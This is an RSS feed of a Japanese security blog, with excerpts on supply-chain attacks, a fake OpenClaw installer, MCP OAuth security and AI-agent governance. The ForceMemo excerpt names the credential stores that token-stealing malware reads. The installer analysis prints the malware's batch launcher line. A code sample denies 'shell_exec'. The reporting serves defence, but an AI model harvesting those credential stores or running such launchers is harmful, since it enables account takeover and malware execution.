<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Security on hdknr blog</title><link>https://hdknr.github.io/blogs/tags/security/</link><description>Recent content in Security on hdknr blog</description><generator>Hugo -- 0.157.0</generator><language>ja</language><lastBuildDate>Tue, 31 Mar 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://hdknr.github.io/blogs/tags/security/index.xml" rel="self" type="application/rss+xml"/><item><title>ChatGPTのコード実行環境にDNSトンネリングによるデータ漏洩の脆弱性が発覚</title><link>https://hdknr.github.io/blogs/posts/2026/03/chatgpt%E3%81%AE%E3%82%B3%E3%83%BC%E3%83%89%E5%AE%9F%E8%A1%8C%E7%92%B0%E5%A2%83%E3%81%ABdns%E3%83%88%E3%83%B3%E3%83%8D%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AB%E3%82%88%E3%82%8B%E3%83%87%E3%83%BC%E3%82%BF%E6%BC%8F%E6%B4%A9%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%8C%E7%99%BA%E8%A6%9A/</link><pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/chatgpt%E3%81%AE%E3%82%B3%E3%83%BC%E3%83%89%E5%AE%9F%E8%A1%8C%E7%92%B0%E5%A2%83%E3%81%ABdns%E3%83%88%E3%83%B3%E3%83%8D%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AB%E3%82%88%E3%82%8B%E3%83%87%E3%83%BC%E3%82%BF%E6%BC%8F%E6%B4%A9%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%8C%E7%99%BA%E8%A6%9A/</guid><description>ChatGPTのData Analysis環境にDNSトンネリングによるデータ漏洩の脆弱性をCheck Pointが発見。攻撃の仕組み、漏洩リスク、OpenAIの対応、ユーザーの対策を解説。</description></item><item><title>PyPI公式パッケージ telnyx がサプライチェーン攻撃で汚染 — TeamPCPによるWAVステガノグラフィ攻撃の全容</title><link>https://hdknr.github.io/blogs/posts/2026/03/pypi%E5%85%AC%E5%BC%8F%E3%83%91%E3%83%83%E3%82%B1%E3%83%BC%E3%82%B8-telnyx-%E3%81%8C%E3%82%B5%E3%83%97%E3%83%A9%E3%82%A4%E3%83%81%E3%82%A7%E3%83%BC%E3%83%B3%E6%94%BB%E6%92%83%E3%81%A7%E6%B1%9A%E6%9F%93-teampcp%E3%81%AB%E3%82%88%E3%82%8Bwav%E3%82%B9%E3%83%86%E3%82%AC%E3%83%8E%E3%82%B0%E3%83%A9%E3%83%95%E3%82%A3%E6%94%BB%E6%92%83%E3%81%AE%E5%85%A8%E5%AE%B9/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/pypi%E5%85%AC%E5%BC%8F%E3%83%91%E3%83%83%E3%82%B1%E3%83%BC%E3%82%B8-telnyx-%E3%81%8C%E3%82%B5%E3%83%97%E3%83%A9%E3%82%A4%E3%83%81%E3%82%A7%E3%83%BC%E3%83%B3%E6%94%BB%E6%92%83%E3%81%A7%E6%B1%9A%E6%9F%93-teampcp%E3%81%AB%E3%82%88%E3%82%8Bwav%E3%82%B9%E3%83%86%E3%82%AC%E3%83%8E%E3%82%B0%E3%83%A9%E3%83%95%E3%82%A3%E6%94%BB%E6%92%83%E3%81%AE%E5%85%A8%E5%AE%B9/</guid><description>PyPI公式パッケージ telnyx がTeamPCPのサプライチェーン攻撃で汚染。WAVステガノグラフィ手法の詳細と、Python開発者が今すぐ取るべき対策を解説。</description></item><item><title>Claude Code: dangerously-skip-permissions をやめて auto mode に移行する</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-dangerously-skip-permissions-%E3%82%92%E3%82%84%E3%82%81%E3%81%A6-auto-mode-%E3%81%AB%E7%A7%BB%E8%A1%8C%E3%81%99%E3%82%8B/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-dangerously-skip-permissions-%E3%82%92%E3%82%84%E3%82%81%E3%81%A6-auto-mode-%E3%81%AB%E7%A7%BB%E8%A1%8C%E3%81%99%E3%82%8B/</guid><description>Claude Code の dangerously-skip-permissions は権限チェックを完全無視する危険なオプション。auto mode なら安全性チェック付きでツールを自動承認できる。設定方法と違いを解説。</description></item><item><title>Claude Codeを使うなら最低限やっておきたい「7つのセキュリティ設定」</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%82%92%E4%BD%BF%E3%81%86%E3%81%AA%E3%82%89%E6%9C%80%E4%BD%8E%E9%99%90%E3%82%84%E3%81%A3%E3%81%A6%E3%81%8A%E3%81%8D%E3%81%9F%E3%81%847%E3%81%A4%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%A8%AD%E5%AE%9A/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%82%92%E4%BD%BF%E3%81%86%E3%81%AA%E3%82%89%E6%9C%80%E4%BD%8E%E9%99%90%E3%82%84%E3%81%A3%E3%81%A6%E3%81%8A%E3%81%8D%E3%81%9F%E3%81%847%E3%81%A4%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E8%A8%AD%E5%AE%9A/</guid><description>Claude Code のセキュリティ設定を7つ解説。サンドボックス、deny ルール、機密ファイル保護、ネットワーク制限、hooks、権限棚卸し、Managed Settings の設定方法を実践的にまとめます。</description></item><item><title>MCP のセキュリティが OAuth 2.1 で大幅進化：AI エージェントと社内データを安全に接続する仕組み</title><link>https://hdknr.github.io/blogs/posts/2026/03/mcp-%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%81%8C-oauth-2.1-%E3%81%A7%E5%A4%A7%E5%B9%85%E9%80%B2%E5%8C%96ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A8%E7%A4%BE%E5%86%85%E3%83%87%E3%83%BC%E3%82%BF%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E6%8E%A5%E7%B6%9A%E3%81%99%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mcp-%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%81%8C-oauth-2.1-%E3%81%A7%E5%A4%A7%E5%B9%85%E9%80%B2%E5%8C%96ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A8%E7%A4%BE%E5%86%85%E3%83%87%E3%83%BC%E3%82%BF%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E6%8E%A5%E7%B6%9A%E3%81%99%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</guid><description>&lt;p&gt;AI エージェントが外部ツールやデータソースに安全にアクセスするための標準プロトコル「MCP（Model Context Protocol）」が、OAuth 2.1 ベースの認証・認可フレームワークを導入し、エンタープライズ環境での採用が加速しています。本記事では、MCP の認可仕様の仕組みと、企業導入における設計ポイントを解説します。&lt;/p&gt;
&lt;h2 id="mcp-とは"&gt;MCP とは&lt;/h2&gt;
&lt;p&gt;MCP（Model Context Protocol）は、AI アシスタントがツール、データソース、サービスといった外部リソースに接続するための標準プロトコルです。Anthropic が提唱し、オープンな仕様として公開されています。&lt;/p&gt;
&lt;p&gt;MCP を使うことで、AI エージェントは以下のようなことが可能になります：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;社内データベースへのクエリ実行&lt;/li&gt;
&lt;li&gt;外部 API の呼び出し&lt;/li&gt;
&lt;li&gt;ファイルシステムの操作&lt;/li&gt;
&lt;li&gt;各種 SaaS サービスとの連携&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="oauth-20-から-21-へ何が変わったのか"&gt;OAuth 2.0 から 2.1 へ：何が変わったのか&lt;/h2&gt;
&lt;p&gt;OAuth 2.1 は OAuth 2.0 の後継仕様であり、これまで個別の RFC やベストプラクティスとして散在していたセキュリティ強化策を統合したものです。MCP がベースとする OAuth 2.1 では、以下の重要な変更が含まれています：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;変更点&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PKCE 必須化&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;全クライアント（パブリック・コンフィデンシャル両方）で必須に&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Implicit フロー廃止&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;アクセストークンが URL フラグメントに露出するリスクを排除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;リフレッシュトークンのローテーション&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;パブリッククライアントでのトークン漏洩時の影響を軽減&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;リダイレクト URI の厳密一致&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ワイルドカードによるオープンリダイレクト攻撃を防止&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;つまり、OAuth 2.1 は「新機能の追加」というより、&lt;strong&gt;OAuth 2.0 時代に発見された攻撃手法への対策を標準に組み込んだもの&lt;/strong&gt;です。&lt;/p&gt;
&lt;h2 id="mcp-の認可アーキテクチャ"&gt;MCP の認可アーキテクチャ&lt;/h2&gt;
&lt;p&gt;MCP の認可仕様では、OAuth 2.1 をベースに、AI エージェント特有の要件に対応した複数の仕組みを組み合わせています。&lt;/p&gt;</description></item><item><title>OpenClaw狂想曲：中国で巻き起こるAIエージェント・ゴールドラッシュと「ツルハシ売り」たち</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E7%8B%82%E6%83%B3%E6%9B%B2%E4%B8%AD%E5%9B%BD%E3%81%A7%E5%B7%BB%E3%81%8D%E8%B5%B7%E3%81%93%E3%82%8Bai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%B4%E3%83%BC%E3%83%AB%E3%83%89%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E3%81%A8%E3%83%84%E3%83%AB%E3%83%8F%E3%82%B7%E5%A3%B2%E3%82%8A%E3%81%9F%E3%81%A1/</link><pubDate>Fri, 20 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E7%8B%82%E6%83%B3%E6%9B%B2%E4%B8%AD%E5%9B%BD%E3%81%A7%E5%B7%BB%E3%81%8D%E8%B5%B7%E3%81%93%E3%82%8Bai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%B4%E3%83%BC%E3%83%AB%E3%83%89%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E3%81%A8%E3%83%84%E3%83%AB%E3%83%8F%E3%82%B7%E5%A3%B2%E3%82%8A%E3%81%9F%E3%81%A1/</guid><description>中国でOpenClawが爆発的に普及し、AIエージェントの設定代行ビジネスが急成長。北京のエンジニアが7,000件の注文を処理して100人企業に成長した事例など、AI時代のゴールドラッシュの実態を解説。</description></item><item><title>ForceMemo: GitHub アカウントを乗っ取り Python リポジトリにバックドアを仕込む新型攻撃</title><link>https://hdknr.github.io/blogs/posts/2026/03/forcememo-github-%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%82%92%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A-python-%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%89%E3%82%A2%E3%82%92%E4%BB%95%E8%BE%BC%E3%82%80%E6%96%B0%E5%9E%8B%E6%94%BB%E6%92%83/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/forcememo-github-%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%82%92%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A-python-%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%89%E3%82%A2%E3%82%92%E4%BB%95%E8%BE%BC%E3%82%80%E6%96%B0%E5%9E%8B%E6%94%BB%E6%92%83/</guid><description>&lt;p&gt;2026年3月上旬から、GitHub アカウントを侵害して Python リポジトリに悪意あるコードを注入する「ForceMemo」と呼ばれる大規模攻撃キャンペーンが確認されています。force-push によるコミット履歴の書き換えと、Solana ブロックチェーンを利用した C2（Command and Control: 攻撃者がマルウェアに指令を送る仕組み）通信という巧妙な手法が特徴です。&lt;/p&gt;
&lt;h2 id="攻撃の概要"&gt;攻撃の概要&lt;/h2&gt;
&lt;p&gt;ForceMemo は、以下の流れで Python プロジェクトを侵害します:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;GitHub アカウントの侵害&lt;/strong&gt; — GlassWorm と呼ばれる情報窃取マルウェアが VS Code / Cursor 拡張機能から GitHub トークンを抽出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コードの改ざん&lt;/strong&gt; — 侵害したアカウントで &lt;code&gt;setup.py&lt;/code&gt;、&lt;code&gt;main.py&lt;/code&gt;、&lt;code&gt;app.py&lt;/code&gt;、&lt;code&gt;manage.py&lt;/code&gt; 等に難読化されたマルウェアを注入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;痕跡の隠蔽&lt;/strong&gt; — force-push でコミット履歴を書き換え、タイムスタンプを維持することで改ざんを検知困難に&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;C2 通信&lt;/strong&gt; — Solana ブロックチェーンのメモ機能を使ったコマンド＆コントロール通信&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="glassworm-による初期侵入"&gt;GlassWorm による初期侵入&lt;/h2&gt;
&lt;p&gt;攻撃の起点となる GlassWorm は情報窃取型マルウェアで、VS Code および Cursor の拡張機能を経由して感染します。窃取対象となる GitHub トークンの格納先は多岐にわたります:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VS Code / Cursor 拡張機能のストレージ&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git credential fill&lt;/code&gt; の出力&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.git-credentials&lt;/code&gt; ファイル&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GITHUB_TOKEN&lt;/code&gt; 環境変数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;窃取されたトークンを使って正規のアカウントとしてリポジトリにアクセスし、コードを改ざんします。&lt;/p&gt;
&lt;h2 id="force-push-による履歴改ざん"&gt;force-push による履歴改ざん&lt;/h2&gt;
&lt;p&gt;通常のコミットであれば &lt;code&gt;git log&lt;/code&gt; で変更履歴を追跡できますが、ForceMemo は force-push を使ってコミット履歴自体を書き換えます。さらにタイムスタンプも維持するため、リポジトリのメンテナーやユーザーが改ざんに気づきにくい構造になっています。&lt;/p&gt;</description></item><item><title>CVE-2026-32746: GNU Inetutils telnetd に32年間潜んでいた認証前リモートコード実行の脆弱性</title><link>https://hdknr.github.io/blogs/posts/2026/03/cve-2026-32746-gnu-inetutils-telnetd-%E3%81%AB32%E5%B9%B4%E9%96%93%E6%BD%9C%E3%82%93%E3%81%A7%E3%81%84%E3%81%9F%E8%AA%8D%E8%A8%BC%E5%89%8D%E3%83%AA%E3%83%A2%E3%83%BC%E3%83%88%E3%82%B3%E3%83%BC%E3%83%89%E5%AE%9F%E8%A1%8C%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/cve-2026-32746-gnu-inetutils-telnetd-%E3%81%AB32%E5%B9%B4%E9%96%93%E6%BD%9C%E3%82%93%E3%81%A7%E3%81%84%E3%81%9F%E8%AA%8D%E8%A8%BC%E5%89%8D%E3%83%AA%E3%83%A2%E3%83%BC%E3%83%88%E3%82%B3%E3%83%BC%E3%83%89%E5%AE%9F%E8%A1%8C%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7/</guid><description>GNU Inetutils telnetd の認証前リモートコード実行脆弱性 CVE-2026-32746（CVSS 9.8）の技術的詳細、攻撃手法、パッチ状況、対策を解説。</description></item><item><title>Microsoft Agent Governance Toolkit：AIエージェントのセキュリティを4つの柱で守るOSSツールキット</title><link>https://hdknr.github.io/blogs/posts/2026/03/microsoft-agent-governance-toolkitai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%82%924%E3%81%A4%E3%81%AE%E6%9F%B1%E3%81%A7%E5%AE%88%E3%82%8Boss%E3%83%84%E3%83%BC%E3%83%AB%E3%82%AD%E3%83%83%E3%83%88/</link><pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/microsoft-agent-governance-toolkitai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%82%924%E3%81%A4%E3%81%AE%E6%9F%B1%E3%81%A7%E5%AE%88%E3%82%8Boss%E3%83%84%E3%83%BC%E3%83%AB%E3%82%AD%E3%83%83%E3%83%88/</guid><description>&lt;p&gt;Microsoft がオープンソースで公開した &lt;a href="https://github.com/microsoft/agent-governance-toolkit"&gt;Agent Governance Toolkit&lt;/a&gt; は、自律型 AI エージェントに欠けていたセキュリティレイヤーを提供するツールキットだ。ポリシー強制、ゼロトラスト ID、実行サンドボックス、信頼性エンジニアリングの4つの柱で、OWASP Agentic Top 10 の全10項目のリスクをカバーする。&lt;/p&gt;
&lt;h2 id="背景なぜ-ai-エージェントにガバナンスが必要か"&gt;背景：なぜ AI エージェントにガバナンスが必要か&lt;/h2&gt;
&lt;p&gt;AI エージェントが自律的にツールを呼び出し、ファイルを操作し、外部 API と通信する時代になった。しかし、その自律性にはリスクが伴う。意図しないゴールの書き換え、過剰な権限の付与、エージェント間通信の改ざん、カスケード障害など、従来の Web アプリケーションとは異なるセキュリティ課題がある。&lt;/p&gt;
&lt;p&gt;OWASP は「Agentic Top 10」として AI エージェント特有のリスクを定義しており、Agent Governance Toolkit はこの全10項目に対応している。&lt;/p&gt;
&lt;h2 id="4つの柱"&gt;4つの柱&lt;/h2&gt;
&lt;h3 id="1-policy-engineポリシーエンジン"&gt;1. Policy Engine（ポリシーエンジン）&lt;/h3&gt;
&lt;p&gt;すべてのエージェントアクションを実行前に評価し、許可・拒否を判定する。サブミリ秒（0.1ms 未満）のレイテンシで動作するため、エージェントの応答速度に影響を与えない。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; agent_governance_toolkit &lt;span style="color:#f92672"&gt;import&lt;/span&gt; CapabilityModel
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;capabilities &lt;span style="color:#f92672"&gt;=&lt;/span&gt; CapabilityModel(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; allowed_tools&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#34;web_search&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;file_read&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; denied_tools&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#34;file_write&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;shell_exec&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;許可するツールと拒否するツールを明示的に定義し、エージェントが意図しない操作を行うことを防ぐ。&lt;/p&gt;</description></item><item><title>GitHub で見つけた「便利ツール」を解析したらマルウェアだった話：偽 OpenClaw インストーラーの実態</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-%E3%81%A7%E8%A6%8B%E3%81%A4%E3%81%91%E3%81%9F%E4%BE%BF%E5%88%A9%E3%83%84%E3%83%BC%E3%83%AB%E3%82%92%E8%A7%A3%E6%9E%90%E3%81%97%E3%81%9F%E3%82%89%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%A0%E3%81%A3%E3%81%9F%E8%A9%B1%E5%81%BD-openclaw-%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%A9%E3%83%BC%E3%81%AE%E5%AE%9F%E6%85%8B/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-%E3%81%A7%E8%A6%8B%E3%81%A4%E3%81%91%E3%81%9F%E4%BE%BF%E5%88%A9%E3%83%84%E3%83%BC%E3%83%AB%E3%82%92%E8%A7%A3%E6%9E%90%E3%81%97%E3%81%9F%E3%82%89%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%A0%E3%81%A3%E3%81%9F%E8%A9%B1%E5%81%BD-openclaw-%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%A9%E3%83%BC%E3%81%AE%E5%AE%9F%E6%85%8B/</guid><description>&lt;p&gt;GitHub 上で OpenClaw の便利ツールを装った不審なリポジトリが発見され、実際に解析したところマルウェア（シェルコードローダー）であることが判明した。ひよっこサウナ氏（&lt;a href="https://zenn.dev/hiyoko_sauna"&gt;@hiyoko_sauna&lt;/a&gt;）による詳細な解析レポートを基に、この攻撃手法の全体像を紹介する。&lt;/p&gt;
&lt;h2 id="対象リポジトリの特徴"&gt;対象リポジトリの特徴&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;github.com/sdwadsagw/OpenClawInstaller&lt;/code&gt; という、「Open Claw を簡単にインストールできるツール」として公開されていたリポジトリが対象だ。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;アカウント作成日&lt;/td&gt;
&lt;td&gt;2026-02-11（リポジトリと同日作成）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Star / Fork&lt;/td&gt;
&lt;td&gt;2 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;説明文&lt;/td&gt;
&lt;td&gt;「AI assistant for Open Claw」&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;使い捨てアカウント（リポジトリと同日作成）という時点で怪しさ満点だ。&lt;/p&gt;
&lt;h2 id="zip-の中身"&gt;ZIP の中身&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Claw-Installer-Open-2.8-alpha.3.zip&lt;/code&gt; を展開すると 4 ファイルが入っていた。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ファイル&lt;/th&gt;
&lt;th&gt;サイズ&lt;/th&gt;
&lt;th&gt;VT 検出率&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;StartApp.bat&lt;/td&gt;
&lt;td&gt;22 bytes&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;code&gt;start luau.exe asm.txt&lt;/code&gt; を実行するだけ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;luau.exe&lt;/td&gt;
&lt;td&gt;288,768 bytes&lt;/td&gt;
&lt;td&gt;25/76&lt;/td&gt;
&lt;td&gt;LuaJIT 2.1.0-beta3（正規バイナリ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lua51.dll&lt;/td&gt;
&lt;td&gt;390,144 bytes&lt;/td&gt;
&lt;td&gt;1/75&lt;/td&gt;
&lt;td&gt;LuaJIT 用ランタイム DLL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;asm.txt&lt;/td&gt;
&lt;td&gt;309,298 bytes&lt;/td&gt;
&lt;td&gt;0/76&lt;/td&gt;
&lt;td&gt;難読化された Lua スクリプト&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注目すべきは &lt;strong&gt;asm.txt の検出率が 0/76&lt;/strong&gt; という点だ。悪意のあるコードは asm.txt に書かれているのに検出されず、無害な luau.exe の方が検出されるという逆転現象が起きている。&lt;/p&gt;</description></item><item><title>Kali Linux × Ollama × MCP — 完全ローカルで動く AI ペンテスト環境の構築</title><link>https://hdknr.github.io/blogs/posts/2026/03/kali-linux-ollama-mcp-%E5%AE%8C%E5%85%A8%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB%E3%81%A7%E5%8B%95%E3%81%8F-ai-%E3%83%9A%E3%83%B3%E3%83%86%E3%82%B9%E3%83%88%E7%92%B0%E5%A2%83%E3%81%AE%E6%A7%8B%E7%AF%89/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/kali-linux-ollama-mcp-%E5%AE%8C%E5%85%A8%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB%E3%81%A7%E5%8B%95%E3%81%8F-ai-%E3%83%9A%E3%83%B3%E3%83%86%E3%82%B9%E3%83%88%E7%92%B0%E5%A2%83%E3%81%AE%E6%A7%8B%E7%AF%89/</guid><description>&lt;p&gt;Kali Linux チームが、外部 SaaS に一切依存しない&lt;strong&gt;完全ローカルの AI ペンテスト支援環境&lt;/strong&gt;の構築ガイドを&lt;a href="https://www.kali.org/blog/kali-llm-ollama-5ire/"&gt;公式ブログ&lt;/a&gt;で公開した。Ollama でローカル LLM を動かし、MCP（Model Context Protocol）経由で nmap などの Kali ツールを自然言語から操作する構成だ。&lt;/p&gt;
&lt;h2 id="構成要素"&gt;構成要素&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;コンポーネント&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;th&gt;アーキテクチャ上の位置づけ&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
